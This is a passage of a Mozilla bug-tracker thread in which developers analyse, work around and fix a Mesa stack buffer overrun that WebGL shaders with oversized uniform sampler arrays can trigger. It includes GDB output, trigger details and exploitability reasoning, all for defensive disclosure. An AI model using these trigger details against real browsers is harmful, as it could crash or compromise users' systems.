---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) l
276              const unsigned shadow = base_type->sampler_shadow;
277              for (unsigned i = this->uniforms[id].sampler
278                      ; i < this->next_sampler
279                      ; i++) {
280                 this->targets[i] = target;
281                 this->shader_samplers_used |= 1U << i;
282                 this->shader_shadow_samplers |= shadow << i;
283              }
284
285           } else {
(gdb) p targets
$6 = {TEXTURE_2D_INDEX <repeats 16 times>}
(gdb) p i
$7 = 28


Thus, in parcel_out_uniform_storage::visit_field, we are writing well past the end of the |this->targets| array, which is a stack array of size 16. How far beyond we are writing, is controlled by the script: that's the uniform array size, here 29.

The crash, in this case, is caused by this overwriting the |node| pointer which stores where we are in the linked list we're currently iterating in.

This doesn't look exploitable, as the values written past the end of the stack array are constrained to be among the possible values for |target| which is a value returned by glsl_type::sampler_index in Mesa's src/glsl/glsl_types.cpp:

glsl_type::sampler_index() const
{
   const glsl_type *const t = (this->is_array()) ? this->fields.array : this;

   assert(t->is_sampler());

   switch (t->sampler_dimensionality) {
   case GLSL_SAMPLER_DIM_1D:
      return (t->sampler_array) ? TEXTURE_1D_ARRAY_INDEX : TEXTURE_1D_INDEX;
   case GLSL_SAMPLER_DIM_2D:
      return (t->sampler_array) ? TEXTURE_2D_ARRAY_INDEX : TEXTURE_2D_INDEX;
   case GLSL_SAMPLER_DIM_3D:
      return TEXTURE_3D_INDEX;
   case GLSL_SAMPLER_DIM_CUBE:
      return TEXTURE_CUBE_INDEX;
   case GLSL_SAMPLER_DIM_RECT:
      return TEXTURE_RECT_INDEX;
   case GLSL_SAMPLER_DIM_BUF:
      assert(!"FINISHME: Implement ARB_texture_buffer_object");
      return TEXTURE_BUFFER_INDEX;
   case GLSL_SAMPLER_DIM_EXTERNAL:
      return TEXTURE_EXTERNAL_INDEX;
   default:
      assert(!"Should not get here.");
      return TEXTURE_BUFFER_INDEX;
   }
}

i.e. just a few possibilities. Here, the value we're scribbling this, TEXTURE_2D_INDEX, is 7.

Moreover, all array entries scribbled here will use the same value (|target| has been set before the loop starts).

In conclusion: this bug allows to scribble a contiguous portion of the stack with a single 4-byte value repeated arbitrarily many times; that value can be chosen among a list of  about 10 possible values; the present testcase scribbles with repetitions of this 4-byte pattern: 0x00000007.

-> I suggest not treating this as security-sensitive (or perhaps sg:low).
Comment 25 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 12:21:57 PDT
Daniel, please have a look at the previous comment and decide if we can unhide this bug. Skip to the end of it for my conclusions.
Comment 26 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 12:23:10 PDT
By the way, if you are wondering why we don't just blacklist this driver: even though it's only been reproduced with llvmpipe so far, the GDB sessions above suggest that the problem is in Mesa Core and could be reproduced with other drivers as well --- so we'd be talking about blacklisting 50%+ Linux users here.
Comment 27 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 12:43:06 PDT
CC'ing Ian Romanick who seems to be the author.

Ian: I will file a fd.o bug but I would appreciate your input here on:
 - how security-critical is this bug?
 - does it affect all of Mesa or only LLVMpipe?
Comment 28 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 12:50:56 PDT
In fact, I am still uncomfortable security-wise as the real array length here is 16 and crashes only occur at lengths > 28, so there is (28-16)*4 = 48 bytes of stack one can change without causing crashes; I'm not comfortable about relying on this not being exploitable...
Comment 29 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 12:52:55 PDT
Also, I am sorry to say -- but the Mesa code here is really scary. Arrays are plain C arrays, then memcpy'd and memset'd around. If I were making a living fuzzing code, I'd be rubbing my hands...
Comment 30 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 13:15:58 PDT
Created attachment 650657 [details] [diff] [review]
mesa patch making this a non-security bug (plain abort before bad things happen)

FYI this patch works as expected. Will file Mesa bug with it. Hope we can get it applied to the 8.0 branch and picked up by distros as well. Would avoid risk of having to massively blacklist WebGL on Linux (yes, I am still very uncomfortable about the security implications of this stack scribbling; nevermind my earlier comment saying the contrary).
Comment 31 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 13:37:12 PDT
Crash confirmed with other Mesa drivers: Radeon, and Intel.

Crash also confirmed in Google Chrome's GPU process.
Comment 32 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 13:39:28 PDT
What we should do here is get a work-around in ANGLE: allow to enforce a limit here on max number of samplers per program.
Comment 33 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 14:29:02 PDT
CC'ing Ken and Zhenyao: Chrome is affected as well (though in Chrome, only the GPU process is affected).

CC'ing Daniel: the only reasonable work-around here would have to be implemented in ANGLE's shader compiler. It would consist in adding ANGLE feature allowing to count how many samplers a program has, before calling glLinkProgram. API for that would be a bit awkward, since AFAIK the notion of a program is foreign to the ANGLE shader compiler... maybe as a fallback we could at least get a ANGLE feature allowing to query the number of samplers in a shader. Then we would simply sum the values of the vertex shader and the fragment shader, so that in the worst case, we would allow 2x fewer samplers than we could.
Comment 34 Chris Evans 2012-08-09 15:12:42 PDT
@miaubiz, have you filed this in the Chromium tracker?

Does this affect Mesa drivers backed by hardware?
Comment 35 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 15:16:45 PDT
Chris, see comment 31, it does affect all Mesa drivers we've tried, including the Intel and the Radeon driver (hardware drivers). We reproduced in Chrome at least on one of them (either Intel or Radeon).
Comment 36 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 15:18:13 PDT
Changing title: it is actually possible to scribble with multiple different 4-byte values by declaring uniform samplers of different types, as long as one doesn't crash.
Comment 37 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 15:21:19 PDT
I am working on implementing the work-around in ANGLE. This seems easy enough. The CollectAttribsUniforms traverser seems like a decent place where to implement it; just need to have its visitSymbol method check for IsSampler and then increment a counter (increment by +N for an array of size N).
Comment 38 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 15:33:47 PDT
In fact, ANGLE's ShGetActiveUniform already returns the type and array lengths of all array uniforms, so we just have to check their types (also returned by it) and check for uniforms. No need for an ANGLE patch!
Comment 39 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 16:12:13 PDT
Chris: to reproduce in Chrome you have to replace moz-webgl by experimental-webgl in the testcases.

miaubiz: there is no reason to use moz-webgl. Always use experimental-webgl.
Comment 40 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 17:07:52 PDT
Created attachment 650728 [details] [diff] [review]
work around the Mesa bug by using the uniform info from ANGLE to count uniform samplers

This successfully works around the bug, tested with the first testcase here.

Note that this bug is pessimistic: if the same uniform sampler is declared in both shaders, it'll be counted twice. I haven't checked that's necessary to work around the Mesa bug or if it's uselessly restricting what can be safely done on Mesa, but I'd rather play safe and it's only dividing the number of samplers available on Mesa by a factor of two in the rather rare case where samplers are declared in both shaders, so, not worth spending more time on.
Comment 41 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 17:08:58 PDT
Created attachment 650729 [details]
testcase fixed to work in all browsers

Chris, Ken, Zhenyao --- use this testcase, it uses experimental-webgl instead of moz-webgl.

We should remove all support for moz-webgl at this point.
Comment 42 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 19:33:52 PDT
http://hg.mozilla.org/integration/mozilla-inbound/rev/249175dc7f8a
Comment 43 Benoit Jacob [:bjacob] (mostly away) 2012-08-09 19:39:05 PDT
Comment on attachment 650728 [details] [diff] [review]
work around the Mesa bug by using the uniform info from ANGLE to count uniform samplers

[Approval Request Comment]
Bug caused by (feature/regressing bug #): driver bug exposed ever since Firefox 4 introduced WebGL
User impact if declined: crasher, possibly/probably security sensitive, possibly critical, affecting about half of Linux users, triggerable by content using WebGL
Testing completed (on m-c, etc.): m-i
Risk to taking this patch (and alternatives if risky): low risk. Not quite trivial, but simple enough to make me confident that the risk is incomparably lower than not taking this patch.
String or UUID changes made by this patch: none
Comment 44 Ed Morley [:emorley] 2012-08-10 02:07:10 PDT
https://hg.mozilla.org/mozilla-central/rev/249175dc7f8a
Comment 45 miaubiz 2012-08-10 03:00:48 PDT
(In reply to Chris Evans from comment #34)
> @miaubiz, have you filed this in the Chromium tracker?

no. I have no clue how bjacob reproduced it in chrome :|
Comment 46 Benoit Jacob [:bjacob] (mostly away) 2012-08-10 07:10:31 PDT
miaubiz, again, I had to replace moz-webgl by experimental-webgl. See the newest attachment here,
ttps://bugzilla.mozilla.org/attachment.cgi?id=650729
Comment 47 Benoit Jacob [:bjacob] (mostly away) 2012-08-10 07:11:39 PDT
miaubiz, also, in Chrome it gives a GPU process crash, not a crash of the whole browser. You can see it by looking at the list of chrome processes (using the ps command) or by having a WebGL page in another tab and seeing how the WebGL context of the other tab gets lost.
Comment 48 Benoit Jacob [:bjacob] (mostly away) 2012-08-10 07:47:03 PDT
Created attachment 650879 [details] [diff] [review]
Patch for Firefox ESR 10: blacklist Mesa for WebGL

Firefox ESR 10 doesn't have the ANGLE uniform info stuff, so we can't use the mozilla-central patch there. Anyway, according to undisclosed sources, the Firefox ESR users visit primarily Geocities, Altavista and geriatrics.org which aren't using WebGL yet.
Comment 49 miaubiz 2012-08-10 11:10:31 PDT
@scarybeasts: https://code.google.com/p/chromium/issues/detail?id=141901
Comment 51 Ian Romanick 2012-08-17 19:35:16 PDT
Created attachment 653011 [details] [diff] [review]
Patch to fix the underlying problem in Mesa

If this fixes the problem (without the workaround), I'll commit this in Mesa master in the 8.0.5 release branch.
Comment 52 Lukas Blakk [:lsblakk] use ?needinfo 2012-08-20 18:19:58 PDT
(In reply to Benoit Jacob [:bjacob] from comment #48)
> Created attachment 650879 [details] [diff] [review]
> Patch for Firefox ESR 10: blacklist Mesa for WebGL
> 
> Firefox ESR 10 doesn't have the ANGLE uniform info stuff, so we can't use
> the mozilla-central patch there. Anyway, according to undisclosed sources,
> the Firefox ESR users visit primarily Geocities, Altavista and
> geriatrics.org which aren't using WebGL yet.

Not sure if I understand your comment - undisclosed sources?  If this is a sec-critical bug that we ship a fix for with FF15 we have a responsibility to our ESR users: "Mozilla will backport security bugs qualified as "Critical" and "High" to the ESR where feasible (there may be cases where a backport cannot be applied with reasonable effort, and those cases are expected to be exceptional)."

Is this such a case or can we try to get an ESR patch together for this?
Comment 53 Lukas Blakk [:lsblakk] use ?needinfo 2012-08-20 18:21:00 PDT
Sorry, after going to bug 778765 I see you do have an ESR patch here with an r+ -- nom?
Comment 54 Benoit Jacob [:bjacob] (mostly away) 2012-08-20 19:08:55 PDT
(In reply to Lukas Blakk [:lsblakk] from comment #52)
> (In reply to Benoit Jacob [:bjacob] from comment #48)
> Not sure if I understand your comment - undisclosed sources?

That was an attempt at humor, as I was hoping that the rest of that comment would make clear :-)
Comment 55 Benoit Jacob [:bjacob] (mostly away) 2012-08-20 19:12:37 PDT
Comment on attachment 650879 [details] [diff] [review]
Patch for Firefox ESR 10: blacklist Mesa for WebGL

[Approval Request Comment]
User impact if declined: sec-critical
Fix Landed on Version: 15
Risk to taking this patch (and alternatives if risky): Not risky. Trivial blacklisting.
String or UUID changes made by this patch: None
Comment 56 Benoit Jacob [:bjacob] (mostly away) 2012-08-20 19:14:12 PDT
Re: comment 55: note that the patch nominated for esr10 here is specific to esr10, isn't what landed on 15+.
Comment 57 Benoit Jacob [:bjacob] (mostly away) 2012-08-20 21:38:36 PDT
Created attachment 653648 [details] [diff] [review]
honor gfx.work-around-driver-bugs

Ian, normally you can always test Firefox's behavior without driver work-arounds by going to about:config and setting gfx.work-around-driver-bugs to false.

But in the present case, I had forgotten to honor this setting. This patch fixes it.
Comment 58 Benoit Jacob [:bjacob] (mostly away) 2012-08-20 21:39:36 PDT
(In reply to Ian Romanick from comment #51)
> Created attachment 653011 [details] [diff] [review]
> Patch to fix the underlying problem in Mesa
> 
> If this fixes the problem (without the workaround), I'll commit this in Mesa
> master in the 8.0.5 release branch.

I tried mesa Git, but with it I can't reproduce the crash at all, even without this patch. The crash reproduced with Mesa 8.0.3.
Comment 59 Ian Romanick 2012-08-21 12:42:49 PDT
(In reply to Benoit Jacob [:bjacob] from comment #58)
> (In reply to Ian Romanick from comment #51)
> > Created attachment 653011 [details] [diff] [review]
> > Patch to fix the underlying problem in Mesa
> > 
> > If this fixes the problem (without the workaround), I'll commit this in Mesa
> > master in the 8.0.5 release branch.
> 
> I tried mesa Git, but with it I can't reproduce the crash at all, even
> without this patch. The crash reproduced with Mesa 8.0.3.

That's weird.  I was able to reproduce it with a stand-alone piglit test on the 8.0.x branch and on master (without this patch).  Perhaps you still have your work-around enabled?
Comment 60 Benoit Jacob [:bjacob] (mostly away) 2012-08-21 13:54:33 PDT
(In reply to Ian Romanick from comment #59)
> (In reply to Benoit Jacob [:bjacob] from comment #58)
> > (In reply to Ian Romanick from comment #51)
> > > Created attachment 653011 [details] [diff] [review]
> > > Patch to fix the underlying problem in Mesa
> > > 
> > > If this fixes the problem (without the workaround), I'll commit this in Mesa
> > > master in the 8.0.5 release branch.
> > 
> > I tried mesa Git, but with it I can't reproduce the crash at all, even
> > without this patch. The crash reproduced with Mesa 8.0.3.
> 
> That's weird.  I was able to reproduce it with a stand-alone piglit test on
> the 8.0.x branch and on master (without this patch).  Perhaps you still have
> your work-around enabled?

Yes. I retried today and the crash reproduces in Mesa 8.0.3 but not in mesa git. In Mesa git, i get this ProgramInfoLog:

error: Too many fragment shader texture samplers

By the way: a browser restart is required for gfx.work-around-driver-bugs to take effect.
Comment 61 Benoit Jacob [:bjacob] (mostly away) 2012-08-21 13:55:23 PDT
Erm, by 'Yes' I mean 'Yes I'm sure it doesn't reproduce in Mesa Git, without the work-around'.
Comment 62 Jeff Gilbert [:jgilbert] 2012-08-21 14:59:50 PDT
Comment on attachment 653648 [details] [diff] [review]
honor gfx.work-around-driver-bugs

Review of attachment 653648 [details] [diff] [review]:
-----------------------------------------------------------------

::: content/canvas/src/WebGLContextGL.cpp
@@ +3723,5 @@
>      // bug 777028
>      // Mesa can't handle more than 16 samplers per program, counting each array entry.
>      if (mIsMesa) {
> +        if (gl->WorkAroundDriverBugs() &&
> +            program->UpperBoundNumSamplerUniforms() > 16)

This is fine, though I think in general we should be putting the WordAroundDriverBugs() check in the |if (is<platform> && WorkAround~())| block. This is fine too, though.
Comment 63 Ian Romanick 2012-08-21 16:11:59 PDT
Does Valgrind or AddressSanitizer or similar tool complain in parcel_out_uniform_storage::visit_field without the patch and the work around?  I suppose it's possible that the stack layout is different, so bug doesn't cause a crash.
Comment 64 Ian Romanick 2012-08-21 16:13:46 PDT
Created attachment 653998 [details]
Test case

Reproduces the bug with piglit's glslparsertest.  Run as:

glslparsertest --check-link tests/glslparsertest/glsl2/too-many-samplers.frag fail
Comment 65 Benoit Jacob [:bjacob] (mostly away) 2012-08-21 21:26:38 PDT
(In reply to Ian Romanick from comment #63)
> Does Valgrind or AddressSanitizer or similar tool complain in
> parcel_out_uniform_storage::visit_field without the patch and the work
> around?  I suppose it's possible that the stack layout is different, so bug
> doesn't cause a crash.

valgrind memcheck does not report any error, but that's not surprising as the present bug is a stack buffer overrun and memcheck doesn't cover that.

The right Valgrind tool for this is supposed to be exp-sgcheck, but when running in this tool, Firefox hits an assertion failure earlier in GTK.

So, I don't know. Might have better luck with ASAN but I've never tried it.
Comment 66 Benoit Jacob [:bjacob] (mostly away) 2012-08-21 21:30:36 PDT
Dang! I reproduced the crash in Mesa Git by changing the uniform sampler array size from 29 to 290.

Funnily, the call stack is corrupted with 0x0000000700000007 so GDB fails to walk it:

Program received signal SIGSEGV, Segmentation fault.
0x00007fffd046ea20 in link_assign_uniform_locations (prog=0x7fffd46830b0)
    at src/glsl/link_uniforms.cpp:612
612           foreach_list(node, prog->_LinkedShaders[i]->ir) {
(gdb) bt
#0  0x00007fffd046ea20 in link_assign_uniform_locations (prog=0x7fffd46830b0)
    at src/glsl/link_uniforms.cpp:612
#1  0x0000000700000007 in ?? ()
#2  0x0000000700000007 in ?? ()
#3  0x0000000700000007 in ?? ()
#4  0x0000000700000007 in ?? ()
Comment 67 Benoit Jacob [:bjacob] (mostly away) 2012-08-21 21:33:49 PDT
Note that the 0x00000007 in comment 66 is Mesa's TEXTURE_2D_INDEX.

And now I've tested: with your patch applied to Mesa Git, and it doesn't crash anymore.
Comment 68 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-08-22 00:09:19 PDT
Given recent comments in this bug, should we reopen or file a new bug to address the new testcase? Please advise.
Comment 69 Benoit Jacob [:bjacob] (mostly away) 2012-08-22 07:22:03 PDT
The recent comments are about checking a Mesa patch, not a Mozilla patch. No need to reopen or file a new Mozilla bug.
Comment 70 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-08-22 10:52:50 PDT
(In reply to Benoit Jacob [:bjacob] from comment #69)
> The recent comments are about checking a Mesa patch, not a Mozilla patch. No
> need to reopen or file a new Mozilla bug.

Okay, thanks for clarifying.
Comment 71 Benoit Jacob [:bjacob] (mostly away) 2012-08-22 14:10:17 PDT
http://hg.mozilla.org/releases/mozilla-esr10/rev/68691b2f1eda
Comment 72 Ian Romanick 2012-08-22 17:38:15 PDT
(In reply to Benoit Jacob [:bjacob] from comment #67)
> Note that the 0x00000007 in comment 66 is Mesa's TEXTURE_2D_INDEX.
> 
> And now I've tested: with your patch applied to Mesa Git, and it doesn't
> crash anymore.

Great!  I'll commit the patch with

Tested-by: Benoit Jacob <bjacob@mozilla.com>
Comment 73 Benoit Jacob [:bjacob] (mostly away) 2012-08-22 20:10:20 PDT
Sure! Thanks.
Comment 74 Huzaifa Sidhpurwala 2012-08-22 20:37:01 PDT
Is there a MESA upstream patch for this bug?
Any idea if MESA upstream has been informed about this issue?
Comment 75 Benoit Jacob [:bjacob] (mostly away) 2012-08-22 20:52:12 PDT
Huzaifa, don't worry, Ian here is the relevant Mesa developer. I couldn't file a bug on Freedesktop's bugzilla because it doesn't seem to allow filing hidden security bugs, and this is a security bug which impacts all WebGL browsers and potentially other OpenGL applications.
Comment 76 Benoit Jacob [:bjacob] (mostly away) 2012-08-23 12:07:42 PDT
http://hg.mozilla.org/integration/mozilla-inbound/rev/05d1a3fba90b
Comment 77 Ryan VanderMeulen [:RyanVM] 2012-08-23 19:25:04 PDT
https://hg.mozilla.org/mozilla-central/rev/05d1a3fba90b
Comment 78 Benoit Jacob [:bjacob] (mostly away) 2012-08-24 10:10:09 PDT
backed out in c95b9d40a173 for reftest failure caused by 782786
Comment 79 Benoit Jacob [:bjacob] (mostly away) 2012-08-24 10:12:04 PDT
http://hg.mozilla.org/integration/mozilla-inbound/rev/8bf32bc47aa2
Comment 80 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-08-24 11:11:41 PDT
Confirmed all testcases reproducible with ASAN try-server build https://hg.mozilla.org/try/rev/9f3cc040e41a.

Verified fixed with the following ASAN builds:
 * 2012-08-23 Firefox 17.0a1 198ca6edd0ae
 * 2012-08-23 Firefox 16.0a2 805e936380ab

Unverifiable for Firefox 15 and ESR15 due to build availability.
Comment 81 Ryan VanderMeulen [:RyanVM] 2012-08-24 20:10:34 PDT
(In reply to Benoit Jacob [:bjacob] from comment #79)
> http://hg.mozilla.org/integration/mozilla-inbound/rev/8bf32bc47aa2

https://hg.mozilla.org/mozilla-central/rev/8bf32bc47aa2
Comment 82 Mike Hommey [:glandium] 2012-08-30 23:47:09 PDT
(In reply to Benoit Jacob [:bjacob] from comment #71)
> http://hg.mozilla.org/releases/mozilla-esr10/rev/68691b2f1eda

FWIW, that was overly broad. versions < 8 are not affected.
Comment 83 Benoit Jacob [:bjacob] (mostly away) 2012-08-31 08:24:46 PDT
Doesn't matter much, it is unlikely that a legitimate real-world page would use more than 16 samplers in a program.
Comment 84 Brian Paul 2012-10-26 11:19:01 PDT
(In reply to Ian Romanick from comment #64)
> Created attachment 653998 [details]
> Test case
> 
> Reproduces the bug with piglit's glslparsertest.  Run as:
> 
> glslparsertest --check-link
> tests/glslparsertest/glsl2/too-many-samplers.frag fail

Ian, were you going to push this test to piglit?  I don't see it there.
Comment 85 Benoit Jacob [:bjacob] (mostly away) 2012-11-30 06:19:39 PST
This bug seems fixed in current Mesa Git.
Comment 87 pelloux 2016-06-16 00:56:39 PDT
(In reply to Benoit Jacob [:bjacob] (mostly away) from comment #85)
> This bug seems fixed in current Mesa Git.

If the bug has been fixed 4 years ago in Mesa maybe it would be a good idea to remove the work-around?
Or to limit it to affected versions of Mesa?

Note You need to log in before you can comment on or make changes to this bug.